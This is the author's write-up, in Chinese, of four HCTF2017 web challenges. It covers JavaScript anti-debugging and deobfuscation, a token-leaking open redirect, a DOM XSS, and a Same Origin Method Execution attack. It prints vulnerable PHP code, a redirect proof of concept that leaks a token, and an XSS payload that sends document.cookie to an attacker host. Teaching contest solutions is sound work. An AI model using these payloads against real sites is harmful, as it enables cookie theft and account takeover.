HCTF2017 部分 Web 出题思路详解

作者：LoRexxar'@知道创宇404实验室

11月12日结束的HCTF2017，我总共出了其中4道题目，这4道题目涵盖了我这半年来接触的很多有趣的东西。下面就简单讲讲出题思路以及完整的Writeup。

babycrack Description just babycrack 1.flag.substr(-5,3)=="333" 2.flag.substr(-8,1)=="3" 3.Every word makes sence. 4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443" Now Score 302.93 Team solved 45 A World Restored Description: nothing here or all the here ps:flag in admin cookie flag is login as admin Now Score 674.44 Team solved 7 A World Restored Again Description: New Challenge !! hint: flag only from admin bot Now Score 702.6 Team solved 6 Deserted place Description maybe nothing here flag in admin cookie Now Score 820.35 Team solved 3

babycrack是一道前端js的题目，包含了反调试、代码混淆、逻辑混淆3步。
A world Restored比较有趣，是一个站库分离的站点。有两个漏洞，一个比较像中间人的信息泄露，另一个是dom xss。
Deserted place是一个比较古老的技术，叫做SOME，但是了解细节的人非常少。

babycrack

还是很抱歉题目的验证逻辑还是出现了不可逆推的问题，被迫在比赛中途加入4个hint来修复问题，下面我们来慢慢看看代码。

题目源码如下：

https://github.com/LoRexxar/HCTF2017-babycrack

整个题目由反调试代码混淆逻辑混淆3部分组成，你可以说题目毫无意义完全为了出题而出题，但是这种代码确实最最真实的前端代码，现在许多站点都会选择使用反调试混淆一定程度的代码混淆来混淆部分前端代码。

出题思路主要有两篇文章：

http://www.jianshu.com/p/9148d215c119
https://zhuanlan.zhihu.com/p/29214928

整个题目主要是在我分析chrome拓展后门时候构思的，代码同样经过了很多重的混淆，让我们来一步步解释。

反调试

第一部分是反调试，当在页面内使用F12来调试代码时，会卡死在debugger代码处。

这里举个例子就是蘑菇街的登陆验证代码。

具体代码是这样的

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b' e(c) '\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9(('' (2/2)).5!==1||2%g===0){(3(){}).8('4')()}c{4}b( 2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));

美化一下

(function () { (function a() { try { (function b(i) { if (('' (i / i)).length !== 1 || i % 20 === 0) { (function () {}).constructor('debugger')() } else { debugger } b( i) })(0) } catch (e) { setTimeout(a, 5000) } })() })();

这就是比较常见的反调试。我这里提供3种办法来解决这步。

1、使用node做代码调试。

由于这里的debugger检测的是浏览器的调试，如果直接对代码调试就不会触发这样的问题。

2、静态分析

因为题目中代码较少，我没办法把代码混入深层逻辑，导致代码可以纯静态分析。

3、patch debugger函数

由于debugger本身只会触发一次，不会无限制的卡死调试器，这里会出现这种情况，主要是每5s轮询检查一次。那么我们就可以通过patch settimeout函数来绕过。

window._setTimeout = window.setTimeout; window.setTimeout = function () {};

这里可以用浏览器插件TamperMonkey解决问题。

除了卡死debug以外，我还加入了轮询刷新console的代码。

setInterval("window.console.log('Welcome to HCTF :>')", 50);

同样的办法可以解决，就不多说了。

代码混淆

在去除掉这部分无用代码之后，我们接着想办法去除代码混淆。

这里最外层的代码混淆，我是通过https://github.com/javascript-obfuscator/javascript-obfuscator做了混淆。

ps:因为我在代码里加入了es6语法，市面上的很多工具都不支持es6语法，会导致去混淆的代码语法错误！

更有趣的是，这种混淆是不可逆的，所以我们只能通过逐渐去混淆的方式来美化代码。

我们可以先简单美化一下代码格式

代码里主要有几点混淆：

1、变量名替换，a --> _0xd4b7d6，这种东西最烦，但是也最简单，批量替换，在我看来即使abcd这种变量也比这个容易读

2、提取了所有的方法到一个数组，这种也简单，只要在chrome中逐步调试替换就可以了。

还有一些小的细节，很常见，没什么可说的

"s".length() --> "s"['length']()

最终代码可以优化到这个地步，基本已经可读了，下一步就是分析代码了。

剩下的代码已经没什么可说的了。

首先是确认flag前缀，然后按照_分割为5部分。
g函数对基础数组做了一些处理，已经没什么懂了。
s2h是字符串到hex的转化函数
第一部分的验证不完整，导致严重的多解，只能通过爆破是否符合sha256来解决。
后面引入的b2c函数很简单，测试就能发现是一个base32函数。
第三部分和第四部分最简单，异或可得
h函数会对输入的字符串每位做func函数处理，然后拼接起来。
第二部分由3分割，左右两边长度相等，同样可以推算出结果。
k是我专门加入的es6语法的箭头语法，对传入的每个字母做乘7操作。
最后一题通过简单的判断，可以确定最后一部分的前四位。
u函数返回指定字符串的指定前几位
剩下的就是一连串的条件:
首先是一些很关键的的重复位，由于我写错了一些东西，导致这里永远是false，后被迫给出这几位.!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1
最后一部分是集合长度、以及部分条件完成的，看上去存在多解，但事实上是能逆向出来结果的。

当我们都完成这部分的时候，flag就会被我们解出来了。

A World Restored

题目源码如下：

https://github.com/LoRexxar/HCTF2017-A-World-Restored

A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html，为了能尽可能的模拟真实环境，我这个不专业的Web开发只能强行上手实现站库分离。

其中的一部分非预期，也都是因为站库分离实现的不好而导致的。（更开放的题目环境，导致了很多可能，或许这没什么不好的？

整个站的结构是这样的：

auth站负责用户数据的处理，包括登陆验证、注册等，是数据库所在站。
messbox站负责用户的各种操作，但不连接数据库。

这里auth站与messbox站属于两个完全不同的域，受到同源策略的影响，我们就需要有办法来沟通两个站。

而这里，我选择使用token做用户登陆的校验 jsonp来获取用户数据。站点结构如下:

简单来说就是，messbox登陆账号完全受到token校验，即使你在完全不知道账号密码的情况下，获取该token就可以登陆账号。

那么怎么获取token登陆admin账号就是第一题。

而第二题，漏洞点就是上面文章中写的那样，反射性的domxss，可以得到服务端的flag。

为了两个flag互不干扰，我对服务端做了一定的处理，服务端负责处理flag的代码如下：

$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}"; $flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}"; if(!empty($_SESSION['user'])){ if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){ setcookie("flag", $flag, time() 3600*48," ","messbox.2017.hctf.io", 0, true); } if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){ setcookie("flag2", $flag2, time() 3600*48," ",".2017.hctf.io"); } }

可以很明显的看出来，flag1是httponly并在messbox域下，只能登陆才能查看。flag2我设置了check位，只有bot才会访问这个页面，这样只有通过反射性xss，才能得到flag。

下面我们回到题目。

A World Restored

A World Restored Description: nothing here or all the here ps:flag in admin cookie flag is login as admin URL http://messbox.2017.hctf.io Now Score 674.44 Team solved 7

这道题目在比赛结束时，只有7只队伍最终完成了，非常出乎我的意料，因为漏洞本身非常有意思。（这个漏洞是ROIS发现的）

为了能够实现token，我设定了token不可逆的二重验证策略，但是在题目中我加入了一个特殊的接口，让我们回顾一下。

auth域中的login.php，我加入了这样一段代码

if(!empty($_GET['n_url'])){ $n_url = trim($_GET['n_url']); echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>"; exit; }else{ // header("location: http://messbox.hctf.com?token=".$usertoken); echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>"; exit; }

这段代码也是两个漏洞的核心漏洞点，假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面，那么因为未登录，页面会跳转到auth域并携带n_url，如果获取到登陆状态，这里就会拼接token传回messbox域，并赋予登陆状态。

简单的流程如下：

未登录->获取当前URL->跳转至auth->获取登陆状态->携带token跳转到刚才获取的URL->messbox登陆成功

当然，这其中是有漏洞的。

服务端bot必然登陆了admin账号，如果我们直接请求login.php并制定下一步跳转的URL，那么我们就可以获取拼接上的token！

poc http://auth.2017.hctf.io/login.php?n_url=http://{you_website}

得到token我们就可以登陆messbox域，成功登陆admin

A World Restored Again

A World Restored Again Description: New Challenge !! hint: flag only from admin bot URL http://messbox.2017.hctf.io Now Score 702.6 Team solved 6

到了第二部，自然就是xss了，其实题目本身非常简单，在出题之初，为了避免题目出现“垃圾时间”（因为非预期导致题目不可解），我在题目中加入了跟多元素。

并把flag2放置在.2017.hctf.io域下，避免有人找到messbox的xss但是打不到flag的问题。（没想到真的用上了）

这里我就简单描述下预期解法和非预期解法两个。

预期解法

预期解法当然来自于出题思路。

https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html

漏洞本身非常简单，但有意思的是利用思路。

当你发现了一个任意URL跳转的漏洞，会不会考虑漏洞是怎么发生的？

也许你平时可能没注意过，但跳转一般是分两种的，第一种是服务端做的，利用header: location,这种跳转我们没办法阻止。第二种是js使用location.href导致的跳转。

既然是js实现的，那么是不是有可能存在dom xss漏洞呢？

这个uber的漏洞由来就是如此。

这里唯一的考点就是，js是一种顺序执行的语言，如果location报错，那么就不会继续执行后面的js，如果location不报错，那么就可能在执行下一句之前跳转走。

当然，办法很多。最普通的可能是在location后使用stop()来阻止跳转，但最好用的就是新建script块，这样上一个script报错不会影响到下一个script块。

最终payload

</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie=' document.cookie;//"></script exp http://auth.2017.hctf.io/login.php?n_url=>

非预期解法

除了上面的漏洞以外，messbox也有漏洞，username在首页没有经过任何过滤就显示在了页面内。

但username这里漏洞会有一些问题，因为本身预期的漏洞点并不是这里，所以这里的username经过我框架本身的一点儿过滤，而且长度有限制，所以从这里利用的人会遇到很多非预期的问题。

payload如下，注册名为

的用户名，并获取token。

传递

http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa 2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=

即可

Deserted place

出题思路来自于一个比较特别的叫做SOME的攻击方式，全名Same Origin Method Execution，这是一种2015年被人提出来的攻击方式，可以用来执行同源环境下的任意方法，2年前就有人做了分析。

http://files.benhayak.com/Same_Origin_Method_Execution__paper.pdf
http://blog.safedog.cn/?p=13
https://lightless.me/archives/same-origin-method-exection.html

题目源码如下：

https://github.com/LoRexxar/HCTF2017-Deserted-place

我们一起来研究一下

SOME？

首先我们一起来探究一个SOME是什么？

SOMe,Same Origin Method Execution,这是Ben Hayak 在 Black Hat Eorope 2014 演讲的题目。在随后的15年，公开了SOME相关的完整paper，其中讲述了和SOME相关的各种场景和利用思路。有兴趣的朋友可以去看看视频.

https://www.youtube.com/watch?v=OvarkOxxdic

我们都知道jsonp是用来解决跨域处理数据问题的解决方案，但是也许会有这样一种情况出现，某个网站的某个富文本编辑器支持选择字体颜色，当你点击按钮的时候，会弹出类似于颜色点选器的轮盘网页，当你选择某一颜色时，这个颜色就会修改原页面的字体页面，这个接口或许是这样实现的。

http://a.com/color.php?callback=get_color

color.php的代码是这样的

当访问color.php的时候，页面就会自动执行get_color，这个页面和父页面同源，结构也和传统的jsonp接口不太一样，但这种情况完全有可能发生。

一般来说，我们可能会尝试在get_color尝试domxss，遗憾的是，大部分这样的接口都只允许.w 的字符输入。

而SOME攻击，就是在这种场景下出现的，在callback这里的缺陷可以导致执行同源下的任意方法，值得注意的是，这种攻击方法并不是csrf，他可以完全模拟你的任何行为。

这种攻击方式有几个局限性:

受到返回头的影响，如果返回头为Content-T ype: application/json,则任何利用都不会生效。
攻击者没办法操作执行函数传入参数，或者可以说是比较难操作。
受到同源策略的限制，只能执行同源下的任意方法。

让我们来测试一下

首先我们需要一个站点来模拟一下

index.html

<form> <button onclick="c()">Secret Button</button> </form> <script> function c() { alert("LoRexxar click!"); } </script>

jsonp.php

<?php $callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"]; echo "<script>"; echo $callback . "()"; echo "</script>";

我们假设click是一个敏感的按钮，这种情况我们可以通过SOME来点击这个按钮来执行相应的js。

首先我们需要一个some1.html

其次需要一个some2.html

当我们打开some1.html的时候，c函数成功被执行了

这种攻击方式在大型站点越发的常见，SOME的作者举例子就用了wordpress的一个漏洞，通过接口可以在wordpress中安装想要的插件，导致getshell等更严重的漏洞。

Deserted place Writeup

回到题目。

打开题目主要功能有限：

登陆
注册
修改个人信息（修改个人信息后按回车更新自己的信息）、
获取随机一个人的信息，并把它的信息更新给我自己

简单测试可以发现，个人信息页面存在self-xss，但问题就在于怎么能更新admin的个人信息。

仔细回顾站内的各种信息，我们能发现所有的更新个人信息都是通过开启子窗口来实现的。

edit.php里面有一个类似于jsonp的接口可以执行任意函数，简单测试可以发现这里正则匹配了.w ，这意味这我们只能执行已有的js函数，我们可以看看后台的代码。

$callback = $_GET['callback']; preg_match("/w /i", $callback, $matches); ... echo "<script>"; echo $matches[0]."();"; echo "</script>";

已有的函数一共有3个

如果执行UpdateProfile，站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。

回顾站内逻辑，当我们点击click me，首先请求/edit.php?callback=RandomProfile，然后跳转至任意http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming，然后页面关闭并，更新信息到当前用户上，假设这里user是我们设定的还有恶意代码的user，那我们就可以修改admin的信息了，但，怎么能让admin打开这个页面呢？

我们可以尝试一个，如果直接打开edit.php?callback=RandomProfile&user=xiaoming

报错了，不是通过open打开的页面，寻找不到页面内的window.opener对象，也就没办法做任何事。

这里我们只有通过SOME，才能操作同源下的父窗口，首先我们得熟悉同源策略，同源策略规定，只有同源下的页面才能相互读写，如果通过windows.open打开的页面是同源的，那么我们就可以通过window.opener对象来操作父子窗口。

而SOME就是基于这种特性，可以执行同源下的任意方法。

最终payload：

vps, 1.html

vps, 2.html

在lorexxar账户的message里添加payload

getflag!

安全安全漏洞

0 人点赞